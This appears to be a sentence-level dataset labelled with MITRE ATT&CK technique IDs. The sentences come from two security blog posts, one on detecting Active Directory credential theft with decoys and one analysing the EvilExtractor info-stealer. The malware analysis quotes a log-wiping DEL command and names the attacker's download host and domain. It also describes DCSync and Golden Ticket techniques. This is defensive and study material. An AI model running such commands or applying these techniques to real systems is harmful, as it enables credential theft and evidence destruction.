{"sentence": "Publicly available Active Directory auditing frameworks like DSInternals provide PowerShell cmdlets to extract the Syskey from the SYSTEM registry hive and extract all the credentials from the Ntds.dit file.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Ntds.dit can also give access to the powerful service account within the Active Directory Domain, KRBTGT (Key Distribution Centre Service account).", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Acquiring the NTLM hash of this account can enable the attacker to execute a Golden Ticket attack leading to complete domain compromise with unrestricted access to any service on the domain joined system.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Stealing Credentials Through a DCSync Attack – From Domain user to Domain Admin A DCSync attack is a method of credential acquisition which allows an attacker to impersonate the Domain Controller and can consequently replicate all the Active Directory objects to the impersonating client remotely, without requiring the user to logon to the DC or dumping the Ntds.dit file.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "By impersonating the Domain Controller, the attacker could acquire the NTLM hash of the KRBTGT service account, enabling them to gain access to all the shared resources and applications in the domain joined environment.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "To be able to execute this credential stealing technique, an attacker would have to compromise the user account with the required permissions, specifically DS-Replication-Get-Changes and DS-Replication-Get-Changes-All, as shown below.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 13 – User with privileges Once the attacker compromises the user account with the required privileges, Pass-The-Hash attacks can be executed to spawn a command shell with the forged logon session.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Credential dumping tools like Mimikatz do this by enumerating all the user logon sessions and replacing the user credentials with the stolen usernames and NTLM hashes provided, in the current logon session.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Behind the scenes, this is executed by duplicating the current process’s access token, replacing the user credentials pointed by duplicated access token and subsequently using the modified access token to start a new process with the stolen credentials which will be used for network authentication.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "This is as shown below for example user “DCPrivUser”.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 14 – Pass-the-Hash attack Further, as indicated below, any subsequent NTLM authentication from the logon session will use the stolen credentials to authenticate to domain joined systems like the Active Directory Controller.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Attackers can now initiate the AD user objects Replication request to the Domain Controller using Directory Replication Services Remote Protocol (DRSUAPI).", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "DRSUAPI is the RPC protocol used for replication of AD objects.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "With DCERPC bind request to DRSUAPI, an RPC call to DSGetNCChanges will replicate all the user AD objects to the impersonating client.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Attackers would usually target the KRBTGT account since acquiring the NTLM hash of this account will enable them to execute a Golden Ticket attack resulting in unrestricted access to domain services and applications.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 15 – DCSync Attack As indicated earlier, with the NTLM hash of the KRBTGT account, adversaries can initiate a Golden Ticket attack (Pass-the-Ticket) by injecting the forged Kerberos tickets into the current session which can be used to authenticate to any service with the client that supports pass the ticket (for instance, sqlcmd.exe connection to DB server, PsExec, etc.)", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 16 – Golden ticket with forged Kerberos ticket Detecting Credential Stealing Attacks with Network Deception", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The credential theft techniques we discussed in the previous sections are just the tip of the iceberg.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Adversaries can use many other sophisticated credential stealing techniques to take advantage of system misconfigurations and legitimate administrative tools and protocols and, at the same time, remain undetected for a longer period.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "With many other event management solutions with SIEMs, used in conjunction with other network security solutions, it becomes a challenge for administrators to distinguish malicious use of legitimate tools and services from lateral movement.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Perimeter solutions have their limitations in terms of visibility once the attacker crosses the network boundary and is inside the domain environment.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "It is extremely critical for organizations to protect and monitor critical network assets like the Domain Controller, Database server, Exchange Servers, build systems and other applications or services, as compromising these systems will result in significant damages.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Therefore, enterprise networks must deploy a solution to detect credential stealing attacks as they can be used to pivot to other systems on the network and move laterally once an attacker establishes an attack path to a high value target.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "If the deployment of a solution within the critical zones of the network can detect the use of stolen credentials before adversaries can reach their target, the critical assets could still be prevented from being compromised.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Network Deception is one such deployment within the domain environment where, using the MITRE Shield techniques like decoy systems and network, decoy credentials, decoy accounts, decoy contents, could potentially help detect lateral movement early in the adversary’s attack path to the target asset and at the same time, report significantly low false detection rates.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The idea of deception originates from the decades old honeypot systems but, unlike those, relies more on forging trust and giving adversaries what they are looking for.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "With its inbuilt proactiveness it is configured to lure attackers towards deceptive systems.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "As shown in the figure below, Network Deception consists of authentic looking decoy systems placed within the domain network, specifically in the network where the critical assets are placed.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These decoy systems (could be virtual machines) are the full-fledged OS with configured applications or services and could be replicating the crucial services like Domain Controller, Exchange or DB server and other decoy machines that could lead to those systems.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The image below highlights the key foundational aspects of the Network Deception Figure 17 – Network Deception Key Aspects of Network Deception As visualized in the figure above, Network Deception comprises the following key basic facts with respect to the deployment in the domain joined environment: As a part of deployment, decoy/deceptive machines are planted within the network alongside production systems and critical assets.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These decoy systems could be real systems or virtual systems with production grade operating systems with the required setup to make them blend well with real systems.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "As one of the key aspects, deceptive machines are configured to lure attackers towards the decoy services instead of the production services, thereby deflecting or misleading the attacker’s lateral movement path to the target asset.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Many of the decoy machines could replicate critical services like Domain Controller, DB servers, Exchange/SharePoint servers and other critical services or applications within the data center.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Any legitimate domain user should not be generating traffic to or communicating with the configured decoy machines unless there are some misconfigurations in the network, which need to be corrected.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Basic Decoy Network Setup Since credential theft plays an important role in a successful targeted attack, deception essentially focuses on planting fake credentials on the production and decoy endpoints at multiple places within the OS and monitoring the use of these credentials to pivot to other systems.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "With respect to the network setup, the following are the key aspects, however this list is not exhaustive, and much more could be added: Replicating critical network assets and services with decoy machines: Replicating critical network services like Active Directory, DB services, etc., will make more sense since these are the most targeted systems in the network.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The decoy Active Directory should be configured with deceptive AD objects (users, groups, SPNs, etc.).", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "with deceptive contents for other replicated services.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Planting authentic looking decoy machines in the production network: As indicated earlier, these decoy machines could be real or virtual machines with the production grade OS placed alongside production systems in the critical infrastructure to blend in well.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These decoy machines should be joined to the decoy AD and configured with deceptive user accounts to monitor successful logon attempts to the systems.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Injecting deceptive credentials on production endpoints: Production endpoints should be injected with deceptive credentials at multiple places like LSASS process memory, Credential Manager, browser credentials, etc., to increase the possibility of these credentials being picked up and used to pivot to decoy systems in the network.", "labels": ["T1055", "T1078"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These endpoints could be public facing machines or their replicas as well.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Decoy Machine runs client applications pointing to decoy services: Decoy machines may run the client with deceptive credentials and configured to point to the decoy services.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These could be DB/FTP/Email clients and any other replicated decoy services.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Mark decoy systems as “NO LANDING ZONE”: One of the key deployment aspects of deception is to mark all the decoy systems and services as “NO LANDING ZONE”, essentially meaning no legitimate domain users should be accessing decoys and any attempts to access these systems should be closely monitored.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Some of the other setup required for effective deployment of deception is as summarized below: Figure 18 – Deceptive network setup – Basic requirements Basic Decoy Systems Setup To detect the use of deceptive credentials, setting up decoy machines is an essential part of the solution as well.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Primarily, decoy machines should enable the access attackers are looking to have during the lateral movement phase.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Decoys should also be configured to enable relevant auditing services to be able to generate events.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "For instance, the following enables the account logon events to be audited: Decoy machines must be setup to run the log collector agent that can collect the access logs generated and forward them to the correlation server.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "However, in the domain joined environment, it is also essential to tune the decoy machines to forward only the relevant logs to the correlation server to minimize false positives.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The below highlights some of the auditing required to be enabled on the decoy systems for effective correlation.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 19 – Basic decoy setup Illustrating and Achieving Network Deception", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The following sections describe some examples of how deception can be achieved in the domain network, along with a visualization of how credential theft can be detected.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Network Deception – Example 1: Injecting NETONLY credentials into LSASS process memory LSASS process memory is one of the prime targets for attackers, as well as malware armed with lateral movement capabilities since it caches a variety of credentials.", "labels": ["T1003.001", "T1055"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Credential extraction from the LSASS process requires opening a read handle to the process itself which is closely monitored by EDR products but there are stealthier ways around it.", "labels": ["T1003.001"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "One of the primary tasks towards achieving credential-based deception is to stage the deceptive credentials in LSASS process memory.", "labels": ["T1003.001"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "This can be accomplished on the production and decoy systems by executing a trivial credential injection code which uses the CreateProcessWithLogonW Windows API with the specified crafted credentials.", "labels": ["T1106"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "CreateProcessWithLogonW creates the new logon session using the caller process access token and spawns the process specified as a parameter in the security context of the specified deceptive credentials and it will be staged in the LSASS memory until the process runs in the background.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The below shows the example code calling the API with the specified credentials which is also visible when credentials are extracted with Mimikatz.", "labels": ["T1003.001", "T1106"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 20 – Injecting credentials into LSASS memory One of the parameters to CreateProcessWithLogonW is “dwLogonFlags” which should be specified as LOGON_NETCREDENTIALS_ONLY as shown in the code above.", "labels": ["T1055"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "This ensures the specified credentials are used only on the network and not for local logons.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Additionally, NETONLY credentials used to create a logon session are not validated by the system.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Below is a code snapshot from credential extraction tool Mimikatz, using a similar approach to forge a logon session and replacing the credentials with the supplied ones while executing Pass-the-Hash attacks.", "labels": ["T1003.001"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 21 – Mimikatz code for PTH attack Network Deception – Example 2: Configure deceptive hostnames for decoy VMs Attackers or malware moving laterally inside the network might do a recon for interesting hostnames via nbtstat/nbtscan.", "labels": ["T1082"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "To deflect the lateral movement path, decoy systems can be configured with real looking hostnames that match the production systems.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These hostnames will then be visible on NetBIOS scans as shown below.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 22 – Deceptive host names pointing to decoy machines", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These decoy systems can also run the relevant client applications pointing to the decoy services, with authentication directed to the decoy Domain Controller in the network.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Detection of this attack path happens much earlier, however the decoy network setup keeps the adversaries engaged, helping admins to study their Tools and Techniques. Figure 23 – Decoy machines running clients pointing to decoy services A similar deception setup can also be done for the browsers where saved credentials can point to the decoy applications and services within the domain.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "For instance, Chrome saves the credentials in the SQLite format on the disk which can be decrypted using DPAPI as discussed earlier sections.", "labels": ["T1140"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The below examples demonstrate deceptive browser credentials which can lure adversaries towards the decoy services.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 24 – Inserting deceptive browser credentials", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "In addition to some of the techniques discussed above, and many others highlighted in the previous sections, setting up deception involves much more advanced configuration of decoy systems to minimize false positives and needs to be tuned to the environment to accurately identify malicious activities.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Deception can also be configured to address multiple other phases of lateral movement activity including reconnaissance and target discovery, essentially redirecting the adversaries and giving them a path to the target.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Below is a high-level visualization of how the decoy network can look like the domain environment.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 25 – Deception network setup On the occasion where one of the domain-joined or public facing systems is compromised, authentication would be attempted to other domain joined systems in the network.", "labels": ["T1190"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "If an authentication is attempted and any of the decoy systems are accessed and logged on, the use of these planted deceptive credentials should be a red flag and something which must be investigated.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The visualization below shows the flow and an event being sent to an administrator on accessing one of the decoy systems.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 26 – Deceptive credentials usage for authentication in the domain One such example event of successfully logging on to the decoy system is as shown below: Figure 27 – Alert send to administrator on using deceptive credentials MITRE ATT&CK Techniques: Credential theft attacks discussed here are mapped by MITRE as below: Technique ID Technique Name Description T1003.001 LSASS Process Memory Attackers may attempt to access LSASS process memory to extract credentials as it stores a variety of credentials.", "labels": ["T1003.001"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Administrative privileges are required to access the process memory.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "T1003.002 SAM Database Accessing credentials from SAM database requires SYSTEM level privileges.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Stores credentials for all the local user accounts on the machine.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "T1003.003 NTDS.dit file Contains credentials for all the domain users.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "File is present on the DC and domain admin privileges are required to access this file.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "T1003.006 DCSync Attacker can extract the credentials from the DC by impersonating the domain controller and use DRSUAPI protocol to replicate credentials from DC.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "T1558.001 Golden Ticket Attackers acquiring credentials for KRBTGT account can forge the Kerberos ticket called Golden Ticket, allowing them to get unrestricted access to any system in the domain T1558.002 Silver Ticket Allows attacker to get admin level access to the service accounts by abusing Kerberos authentication T1558.003 Kerberoasting Allows attackers to extract the Kerberos tickets for service accounts from memory and brute force offline to get credentials Conclusion As credential theft attacks play a significant role in an attacker’s lateral movement, so as in-network defense for the defenders.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "With attackers’ lateral movement tactics evolving and getting more stealthier, defenders will have to adapt to innovative ways of defending the critical network assets.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "In–network defense strategies like Deception could prove to be a promising and forward-looking approach towards detecting and mitigating data theft attacks.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Strategic planting of decoy systems within the production network, inserting decoy credentials and decoy contents on calculative selection of endpoints and decoy systems and accurately setting up the logging and correlation via SIEMs for monitoring the use of decoy contents, could certainly detect and mitigate the attacks early in the lateral movement life cycle.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Endpoint solutions like User Entity Behavior Analytics (UEBA) and Endpoint Detection and Response (EDR) could also play a significant role in building the deception infrastructure.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "For instance, one of the ways UEBA solutions could prove useful is to baseline user behavior and monitor access to credential stores on the system.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "UEBA/EDR could raise the red flag on injection of forged Kerberos tickets in the memory.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "This can provide user level visibility to a greater extent when integrated with SIEM, playing a crucial role in mitigating credential theft attacks.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The post Detecting Credential Stealing Attacks Through Active In-Network Defense appeared first on McAfee Blog.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Affected platforms: WindowsImpacted parties: Any organizationImpact: Controls victim’s device and collects sensitive informationSeverity level: Critical EvilExtractor (sometimes spelled Evil Extractor) is an attack tool designed to target Windows operating systems and extract data and files from endpoint devices.", "labels": ["T1005"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It includes several modules that all work via an FTP service.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It was developed by a company named Kodex, which claims it is an educational tool.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "However, research conducted by FortiGuard Labs shows cybercriminals are actively using it as an info stealer.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Based on our traffic source data to the host, evilextractor[.]com, malicious activity increased significantly in March 2023.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "FortiGuard Labs observed this malware in a phishing email campaign on 30 March, which we traced back to the samples included in this blog.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It usually pretends to be a legitimate file, such as an Adobe PDF or Dropbox file, but once loaded, it begins to leverage PowerShell malicious activities.", "labels": ["T1036.005"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It also contains environment checking and Anti-VM functions.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Its primary purpose seems to be to steal browser data and information from compromised endpoints and then upload it to the attacker’s FTP server.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "We recently reviewed a version of the malware that was injected into a victim’s system and, as part of that analysis, identified that most of its victims are located in Europe and America.", "labels": ["T1055"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "The developer released its project in October 2022 (Figure 1) and has kept updating it to increase its stability and strengthen its module.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "This article will examine the initial attack method used to deliver EvilExtractor and its functions. Figure 1.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "EvilExtractor for sale on the web Initial Access The phishing email with the malicious attachment is shown in Figure 2.", "labels": ["T1566.001"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It is disguised as an account confirmation request.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "The attacker also tricks the victim by using an Adobe PDF icon for the decompressed file.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "The PE header is shown in Figure 3.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "The phishing email Figure 3.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "File header of \"Account_Info.exe\" The execution file is a Python program packaged by PyInstaller.", "labels": ["T1027"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "We extracted it with pyinstxtractor and found that the “PYARMOR” string in its main code file “contain.pyc”, shown in Figure 4, is an obfuscating tool for Python script that makes the malware harder to be analyzed and detected.", "labels": ["T1027"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "We extracted the key and iv from _pytransform.dll and decrypted the “contain.pyc” using AES-GCM. Figure 4.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Code in \"contain.pyc\"", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "In addition to the Python program, we observed a .NET loader that can extract EvilExtractor.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Figure 5 is part of the code.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It contains Base64-encoded data, which is a PowerShell script.", "labels": ["T1027"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "This execution file is generated from the tool “PS2EXE-GUI”, which can convert PowerShell scripts to EXE Files.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Figure 5. .Net", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Code for EvilExtractor EvilExtractor After decrypting the pyc file, we get the primary code of EvilExtractor.", "labels": ["T1140"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It is a PowerShell script that contains the following modules:", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Date time checking Anti-Sandbox Anti-VM Anti-Scanner FTP server setting Steal data Upload Stolen data Clear log It first checks whether the system’s date is between 2022-11-09 and 2023-04-12.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "If not, it uses the following command to delete the data in PSReadline and terminate: DEL \\\"$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadline\\*\\\" -Force –Recurse It then compares the product model to see if it matches any of the following: VirtualBox, VMWare, Hyper-V, Parallels, Oracle VM VirtualBox, Citrix Hypervisor, QEMU, KVM, Proxmox VE, or Docker, as shown in Figure 6.", "labels": ["T1070.004"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It also checks the victim’s hostname against 187 names from VirusTotal machines or other scanner/virtual machines, as shown in Figure 7. Figure 6.", "labels": ["T1082"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "EvilExtractor comparing product model for match Figure 7.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Virtual environment and scanner/virtual machine checking After passing the environment check, EvilExtractor downloads three components from http://193[.]42[.]33[.]232 used for stealing data.", "labels": ["T1105"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "These files are also Python programs that are obfuscated using PyArmor.", "labels": ["T1027"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "The first is “KK2023.zip”, which is used for stealing browser data and saving it in the folder “IMP_Data”.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It can extract cookies from Google Chrome, Microsoft Edge, Opera, and Firefox.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It also collects browser history and passwords from the following browsers: The second file is “Confirm.zip”.", "labels": ["T1552.001"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It is a key logger that saves data in the “KeyLogs” folder.", "labels": ["T1056.001"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "The last file, “MnMs.zip”, is a webcam extractor.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Its corresponding code is shown in Figure 8. Figure 8.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Download components for the Keylogger and Webcam Snapshot functions EvilExtractor also collects system information by PowerShell script, shown in Figure 9.", "labels": ["T1056.001"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Figure 10 shows the concatenated data in a text file called “Credentials.txt”.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Figure 9.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "PowerShell script for collecting system information Figure 10.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Content of “Credentials.txt” EvilExtractor downloads files with specific extensions from the Desktop and Download folders, including jpg, png, jpeg, mp4, mpeg, mp3, avi, txt, rtf, xlsx, docx, pptx, pdf, rar, zip, 7z, csv, xml, and html.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It also uses the command “CopyFromScreen” to capture a screenshot.", "labels": ["T1113"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "The code is shown in Figure 11. Figure 11.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Downloading files and getting a screenshot After EvilExtractor extracts all the data from the compromised endpoint, it uploads it to the attacker’s FTP server, shown in Figure 12.", "labels": ["T1113"], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "The developer of EvilExtractor also provides an FTP server for those who purchase its malware. Figure 12.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Upload file to attacker’s", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "FTP server Kodex Ransomware EvilExtractor also has a ransomware function.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It is called “Kodex Ransomware”, as shown in Figure 13.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "We extracted this PowerShell script from the .Net loader mentioned in the previous section, and the script for its ransomware is similar to the one for its stealer.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Introduction form evilextracom[.]com It downloads “zzyy.zip” from evilextractor[.]com.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Details of the unzipped file, a 7-zip standalone console, are shown in Figure 14.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "Figure 15 shows it leverages “7za.exe” to encrypt files with the parameter “-p”, which means zipping files with a password.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
{"sentence": "It also generates a ransom-demanding message saved in “KodexRansom”, shown in Figure 16. Figure 14.", "labels": [], "doc_title": "EvilExtractor  AllinOne Stealer"}
